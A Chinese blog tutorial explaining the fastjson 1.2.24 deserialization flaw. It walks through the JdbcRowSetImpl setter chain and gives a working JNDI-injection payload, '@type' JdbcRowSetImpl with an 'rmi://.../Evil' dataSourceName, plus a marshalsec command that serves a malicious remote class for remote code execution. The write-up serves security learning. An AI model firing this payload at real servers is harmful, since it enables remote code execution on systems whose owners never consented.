fastjson中的jndi注入
0x01 前言
前一章简单介绍了jndi注入的知识,这一章主要是分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过jndi注入的方式实现RCE,所以我觉得是一个挺好的JNDI注入实践案例。
0x02 fastjson反序列化特点
不同于我们之前提到的java反序列化,fastjson的序列化有其自身特点,我们通过一些小demo来展示如何使用fastjson。我们常说的fastjson的序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。
- fastjson 序列化demo:
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args){
User user = new User();
user.setName("axin");
user.setAge(18);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
其中User类如下:
public class User {
private int age;
public String name;
public void sayHello(){
System.out.println("Hello, I am "+name);
}
public void getName(){
System.out.println(name);
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
}
运行Test类,就会得到如下json字符串:
- fastjson 反序列化demo
fastjson反序列化有个特点,就是会自动调用目标对象的setXXX方法,例如{"name","axin", "age": 18}被反序列化时会自动调用对应对象的setName以及setAge方法,我们用代码实践一下,看看是否的确如此
修改一下User类:
public class User {
private int age;
public String name;
public void sayHello(){
System.out.println("Hello, I am "+name);
}
public void getName(){
System.out.println(name);
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("调用了setAge");
}
public void setName(String name) {
this.name = name;
System.out.println("调用了setName");
}
}
然后新建一个反序列化的类:
import com.alibaba.fastjson.JSON;
public class JsonToObj {
public static void main(String[] args){
String str = "{"age":18,"name":"axin"}";
User user = JSON.parseObject(str, User.class);
}
}
运行该类,得到如下结果,说明反序列化的过程中确实调用了setXXX方法:
其实fastjson反序列化是有两个api的,一个是上面demo中用到的parseObject()还有一个是parse()方法,他们的最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。
而且在直接使用JSON.parseObject()方法反序列化json字符串的时候是不会调用对应对象的setXXX方法的,那么怎么才能让直接使用JSON.parseObject()反序列化的对象也调用setXXX方法呢,答案是利用@type属性,来看下对比:
可见加了@type属性就能调用对应对象的setXXX方法,那这个@type属性具体是干嘛的呢?其实从上面的demo应该也能得知一二了,就是指定该json字符串要反序列化到哪个类。这个属性让我们的漏洞利用如鱼得水~
ps: fastjson反序列化默认只能反序列化公共属性,如果想要对应的私有属性也被反序列话,则需要下面这样添加一个Feature.SupportNonPublicField参数:
JSON.parseObject(myJSON,User.class,Feature.SupportNonPublicField);
0x03 fastjson反序列化——JNDI攻击向量
有了上面的知识铺垫,大家应该能够想到怎么利用fastjson的反序列化执行命令了吧?就是利用@type属性以及自动调用setXXX方法,如果我们能够找到一个类,而这个类的某个setXXX方法中通过我们的精心构造能够完成命令执行不就行了嘛~
com.sun.rowset.JdbcRowSetImpl
就是这么一个类,这个类中有两个set方法,分别是setDataSourceName()与setAutoCommit(),我们看一下相关实现:
setDatasourceName
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作,我们跟进看一下
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到这里connect方法中有典型的jndi的lookup方法调用,且参数就是我们在setDataSourceName中设置的dataSourceName。
具体的代码就先不分析了,fastjson反序列化的流程大概就是先进行json数据的解析,我个人认为这个分析是个体力活,一步一步调试就行了,就没必要再写出来了。然后我们现在知道了上面两个setXXX方法有问题,怎么构造poc呢?如下就行:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Evil","autoCommit":true}}
可见dataSourceName的值为我们恶意的rmi对象,之前我们都是自己写代码注册rmi对象的,现在介绍一个线程的部署rmi服务的工具:
https://github.com/mbechler/marshalsec
需要自己用maven工具生成jar包,使用说明中有介绍,我们用该工具快速搭建一个rmi服务器,并把恶意的远程对象注册到上面,使用如下命令:
java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8000/#Evil
其中我们的恶意对象是放在本地的一个运行在8000端口的web服务上的(我们可以用python快速搭建一个web服务器)
弹个计算器
- dedecms怎样调用指定id文章?
- c++ list, vector, map, set 区别与用法比较
- 前台开发从头说起:谈谈CSS选择符
- dedecms无法登录提示本页面禁止返回
- 前台开发从头说起:理解css盒模型
- 两个js冲突怎么解决?试试这四个方法
- dedecms如何去除后台登陆验证码
- DEDECMS自定义表单unix时间戳转换成常规时间方法及增加表单添加时间方法
- dedecms自定义表单发布成功后返回当前页面
- 前端构建工具 Gulp.js 上手实例
- dedecms数据库内容替换安全确认码不显示怎么解决
- 利用宏避免发送确认邮件时忘记添加附件
- dateDiff在Objective-C中的实现
- 禁用Firefox自带的元素查看工具
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 3分钟短文:Laravel 检查记录是否被软删除
- Day47:求1+2+3+……+n
- 3分钟短文:Laravel 使用DB门面操作原生SQL
- Day48:不用加减乘除做加法
- Day49:将字符串转换成整数
- Day50:数组中重复的数字
- 3分钟短文:Laravel模型OR查询避坑指南
- Day51:构建乘积数组
- 3分钟短文:Laravel ORM 模型用法纲要
- Day52:正则表达式匹配
- 3分钟短文:Laravel 模型查询数据库的几个关键方法
- Day53:表示数值的字符串
- 3分钟短文:Laravel模型写操作很简单,大多数人容易用错
- Day54:字符流中第一个不重复的字符
- Day55:链表中环的入口结点